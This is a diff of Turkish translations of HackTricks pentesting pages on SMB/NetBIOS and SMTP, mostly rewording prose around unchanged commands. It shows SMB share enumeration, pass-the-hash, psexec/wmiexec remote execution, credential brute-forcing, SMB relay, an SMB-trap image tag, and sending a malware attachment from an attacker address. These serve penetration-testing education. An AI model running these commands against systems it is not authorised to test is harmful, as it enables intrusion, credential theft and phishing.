` smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
|
||||
|
||||
@ -393,7 +393,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır.
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
@ -409,7 +409,7 @@ Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyl
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\
|
||||
Komutları Görev Zamanlayıcı aracılığıyla çalıştırın (SMB üzerinden _\pipe\atsvc_ kullanarak).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
@ -419,7 +419,7 @@ Görev Zamanlayıcı aracılığıyla komutları çalıştırın (SMB üzerinden
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Kullanıcı kimlik bilgilerini bruteforce ile kırma**
|
||||
## **Kaba kuvvetle kullanıcı kimlik bilgilerini elde etme**
|
||||
|
||||
**Bu önerilmez, maksimum izin verilen deneme sayısını aşarsanız bir hesabı engelleyebilirsiniz**
|
||||
```bash
|
||||
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve 16 karaktere kadar uzunlukta olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) **TCP Port 139** kullanarak "aramak" için bir komut verdiğinde başlatılır.
|
||||
_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,16 +18,16 @@ Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB o
|
||||
```
|
||||
### SMB
|
||||
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ve yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlayarak, Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazların, daha eski sürümlerini çalıştıranlarla sorunsuz bir şekilde etkileşimde bulunmasına olanak tanır. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
|
||||
|
||||
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
|
||||
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar kontrolü** sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucudaki yerel izinlerden farklıdır.
|
||||
|
||||
### IPC$ Paylaşımı
|
||||
|
||||
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
|
||||
|
||||
- İşletim sistemi hakkında bilgi
|
||||
- Ana alan hakkında ayrıntılar
|
||||
- Ana alan hakkında detaylar
|
||||
- Yerel kullanıcılar ve grupların derlemesi
|
||||
- Mevcut SMB paylaşımları hakkında bilgi
|
||||
- Etkili sistem güvenlik politikası
|
||||
@ -169,7 +169,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Paylaşılan klasörleri listele
|
||||
|
||||
Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgilerine sahip değilseniz **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin.
|
||||
Her zaman erişim sağlayıp sağlayamayacağınıza bakmanız önerilir, eğer kimlik bilgileriniz yoksa **null** **kimlik bilgileri/konuk kullanıcı** kullanmayı deneyin.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Manuel olarak Windows paylaşımlarını listeleyin ve onlara bağlanın**
|
||||
|
||||
Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım yokmuş gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
Ana makinenin herhangi bir paylaşımını görüntülemeniz kısıtlanmış olabilir ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlanmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
|
||||
|
||||
Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
|
||||
@ -210,7 +210,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
|
||||
- SYSVOL
|
||||
- NETLOGON
|
||||
|
||||
(_**Network Security Assessment 3rd edition**_'dan yaygın paylaşım adları)
|
||||
(_**Network Security Assessment 3rd edition**_ kitabından yaygın paylaşım adları)
|
||||
|
||||
Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz.
|
||||
```bash
|
||||
@ -258,7 +258,7 @@ net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Ekleme (grafik)
|
||||
MMC Snap-in (grafik)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dosyaları İndir**
|
||||
|
||||
Kimlik bilgileri/Pass-the-Hash ile nasıl bağlanacağınızı öğrenmek için önceki bölümleri okuyun.
|
||||
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
@ -313,8 +313,8 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
|
||||
Paylaşımlardan özellikle ilginç olanlar, **`Registry.xml`** adlı dosyalardır çünkü bunlar **autologon** ile yapılandırılmış kullanıcılar için **şifreler** içerebilir. Ayrıca **`web.config`** dosyaları da kimlik bilgilerini içerir.
|
||||
|
||||
> [!NOTE]
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
|
||||
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgiler bulabilirsiniz.
|
||||
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **scripti** bulabilirsiniz.\
|
||||
> İçindeki **scriptleri** **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
|
||||
|
||||
## Kayıt Defterini Oku
|
||||
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec, **wmiexec**'i **varsayılan** yöntem olarak kullanarak, **mmcexec, smbexec, atexec, wmiexec**'i **istismar ederek** komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
crackmapexec, **wmiexec** varsayılan yöntem olmak üzere, **mmcexec, smbexec, atexec, wmiexec** kullanarak komutları çalıştırabilir. Hangi seçeneği kullanmak istediğinizi `--exec-method` parametresi ile belirtebilirsiniz:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
|
||||
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB üzerinden _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir çalıştırılabilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
|
||||
**Daha fazla bilgi** için [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)ve [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
|
||||
```bash
|
||||
@ -428,12 +428,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları bir **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\
|
||||
Bu saldırı, iç ağda **SMB kimlik doğrulama oturumlarını** **yakalamak** için Responder aracını kullanır ve bunları **hedef makineye** **iletir**. Eğer kimlik doğrulama **oturumu başarılı olursa**, otomatik olarak bir **sistem** **kabuk** ortamına geçecektir.\
|
||||
[**Bu saldırı hakkında daha fazla bilgi burada.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana bilgisayara kimlik doğrulaması yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
Windows kütüphanesi URLMon.dll, bir sayfa SMB üzerinden bazı içeriklere erişmeye çalıştığında otomatik olarak ana makineye kimlik doğrulama yapmaya çalışır, örneğin: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Bu, aşağıdaki işlevlerle gerçekleşir:
|
||||
|
||||
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
|
@ -17,9 +17,9 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
Eğer **kurbanın size bir e-posta göndermesi için fırsatınız varsa** (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü **kurbanın iç topolojisi hakkında bilgi edinebilirsiniz** e-postanın başlıklarını görerek.
|
||||
|
||||
Ayrıca, bir SMTP sunucusundan **var olmayan bir adrese e-posta göndermeye çalışarak** bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
|
||||
Ayrıca, bir SMTP sunucusundan **var olmayan bir adrese e-posta göndermeyi deneyerek** bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
|
||||
|
||||
Ayrıca, **daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi** denemelisiniz, başlıklarda: `X-Virus-Scanned: by av.domain.com` gibi.\
|
||||
Ayrıca, **daha ilginç bilgiler bulabileceğiniz için farklı içerikler göndermeyi** denemelisiniz, örneğin: `X-Virus-Scanned: by av.domain.com`\
|
||||
EICAR test dosyasını göndermelisiniz.\
|
||||
**AV**'yi tespit etmek, **bilinen zafiyetleri** istismar etmenizi sağlayabilir.
|
||||
|
||||
@ -83,13 +83,13 @@ MAIL FROM: me
|
||||
```
|
||||
### Sniffing
|
||||
|
||||
Port 25'ten paketlerden bazı şifreleri koklayıp koklayamadığınızı kontrol edin.
|
||||
Port 25'e giden paketlerden bazı şifreleri koklayıp koklayamadığınızı kontrol edin.
|
||||
|
||||
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
|
||||
|
||||
## Kullanıcı Adı Bruteforce Sayımı
|
||||
|
||||
**Kimlik doğrulama her zaman gerekli değildir**
|
||||
**Kimlik doğrulama her zaman gerekli değildir.**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
## DSN Raporları
|
||||
|
||||
**Teslimat Durumu Bildirim Raporları**: Eğer bir **email**'i bir organizasyona **geçersiz bir adrese** gönderirseniz, organizasyon bu adresin geçersiz olduğunu size **bir mail göndererek** bildirecektir. Dönen email'in **başlıkları** olası **hassas bilgileri** (raporlarla etkileşime giren mail hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerecektir**.
|
||||
**Teslimat Durumu Bildirim Raporları**: Eğer bir **e-posta**yı bir organizasyona **geçersiz bir adrese** gönderirseniz, organizasyon bu adresin geçersiz olduğunu size **bir e-posta göndererek** bildirecektir. Dönen e-postanın **başlıkları**, olası **hassas bilgileri** (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerecektir**.
|
||||
|
||||
## [Komutlar](smtp-commands.md)
|
||||
|
||||
### Linux konsolundan Email Göndermek
|
||||
### Linux konsolundan E-posta Gönderme
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
@ -227,7 +227,7 @@ smtp-smuggling.md
|
||||
|
||||
## Mail Spoofing Karşı Önlemleri
|
||||
|
||||
Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığı nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.
|
||||
Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığı nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-postaların gönderilmesini engeller.
|
||||
|
||||
**Bu karşı önlemler için kapsamlı bir rehber** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde mevcuttur.
|
||||
|
||||
@ -253,17 +253,17 @@ Kuruluşlar, SMTP mesajlarının sahte bir şekilde gönderilmesinin kolaylığ
|
||||
| PTR | Müşterinin adresi için alan adı (PTR kaydı) belirtilen alanda ise ve bu alan adı müşterinin adresine çözülüyorsa (ileri onaylı ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır. |
|
||||
| EXISTS | Belirtilen alan adı herhangi bir adrese çözülüyorsa, eşleşir (çözülen adres ne olursa olsun). Bu nadiren kullanılır. SPF makro dili ile birlikte, DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
|
||||
| INCLUDE | Başka bir alanın politikasını referans alır. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam edilir. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
|
||||
| REDIRECT | <p>Bir yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |
|
||||
| REDIRECT | <p>Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |
|
||||
|
||||
Ayrıca, **bir mekanizma eşleştiğinde ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
|
||||
Genellikle, her SPF politikasının sonunda **\~all** veya **-all** gibi bir şey not edersiniz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
|
||||
Genellikle, her SPF politikasının sonunda **\~all** veya **-all** gibi bir şey göreceksiniz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
|
||||
|
||||
#### Nitelikler
|
||||
|
||||
Politikadaki her mekanizma, istenen sonucu tanımlamak için dört nitelikten biri ile ön eklenebilir:
|
||||
|
||||
- **`+`**: PASS sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu nitelik varsayımını alır, bu da `+mx`'in `mx` ile eşdeğer olduğu anlamına gelir.
|
||||
- **`?`**: NEUTRAL sonucunu temsil eder, NONE ile benzer şekilde işlenir (belirli bir politika yok).
|
||||
- **`?`**: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde işlenir.
|
||||
- **`~`**: SOFTFAIL'i belirtir, NEUTRAL ile FAIL arasında bir orta zemin sağlar. Bu sonucu karşılayan e-postalar genellikle kabul edilir ancak uygun şekilde işaretlenir.
|
||||
- **`-`**: FAIL'i belirtir, e-postanın tamamen reddedilmesi gerektiğini önerir.
|
||||
|
||||
@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Geleneksel olarak, doğru/hiç SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **e-posta** **geçerli bir SPF kaydı olmayan bir alandan** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**.
|
||||
Geleneksel olarak, doğru/hiçbir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. **Günümüzde**, eğer **e-posta** **geçerli bir SPF kaydı olmayan bir alandan** geliyorsa, muhtemelen **otomatik olarak reddedilecek/ güvensiz olarak işaretlenecektir**.
|
||||
|
||||
Bir alan adının SPF'sini kontrol etmek için çevrimiçi araçlar kullanabilirsiniz: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bunların, alan adının DNS'inden alınan genel anahtar aracılığıyla dış Mail Transfer Agent'ları (MTA'lar) tarafından doğrulanmasına olanak tanır. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
|
||||
DKIM, dışa giden e-postaları imzalamak için kullanılır ve bu sayede dış Mail Transfer Agents (MTA'lar) tarafından alan adının DNS'inden kamu anahtarının alınmasıyla doğrulanmasını sağlar. Bu kamu anahtarı, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için hem seçici hem de alan adı bilinmelidir.
|
||||
|
||||
Örneğin, anahtarı talep etmek için alan adı ve seçici gereklidir. Bunlar, e-posta başlığında `DKIM-Signature` içinde bulunabilir, örneğin `d=gmail.com;s=20120113`.
|
||||
|
||||
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde mail sunucularına rehberlik eden politikaları belirler; bu, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceği gibi konuları içerir.
|
||||
DMARC, SPF ve DKIM protokollerinin üzerine inşa ederek e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesinde mail sunucularına rehberlik eden politikaları belirler; bu, kimlik doğrulama hatalarıyla nasıl başa çıkılacağı ve e-posta işleme eylemleri hakkında raporların nereye gönderileceğini içerir.
|
||||
|
||||
**DMARC kaydını almak için \_dmarc alt alan adını sorgulamanız gerekir.**
|
||||
```bash
|
||||
@ -337,17 +337,17 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
**Buradan** [**buraya**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Mail göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmalısınız.\
|
||||
Aşağıdaki bilgiler, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
|
||||
Aşağıdaki bilgi, bu tür şeyler için harika bir kaynak olan openspf.org'da ilk olarak yayınlanmıştır.
|
||||
|
||||
> Demon Sorusu: Alt alan adları ne olacak?
|
||||
>
|
||||
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri dönüp demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanamaz; eğer Demon bunu istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
|
||||
> Eğer pielovers.demon.co.uk adresinden mail alıyorsam ve pielovers için SPF verisi yoksa, bir seviye geri gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon's politikası varsayılan olarak tüm müşterilerine uygulanamaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
|
||||
>
|
||||
> Bu nedenle SPF yayıncılarına tavsiye şudur: A veya MX kaydı olan her alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
|
||||
>
|
||||
> Yıldız karakterli A veya MX kayıtlarına sahip sitelerin de şu biçimde bir yıldız karakterli SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
|
||||
> Wildcard A veya MX kayıtlarına sahip sitelerin de şu biçimde bir wildcard SPF kaydına sahip olması gerekir: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Bu mantıklıdır - bir alt alan çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
|
||||
Bu mantıklıdır - bir alt alan, çok farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
|
||||
|
||||
### **Açık İletim**
|
||||
|
||||
@ -357,7 +357,7 @@ Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle ileti
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
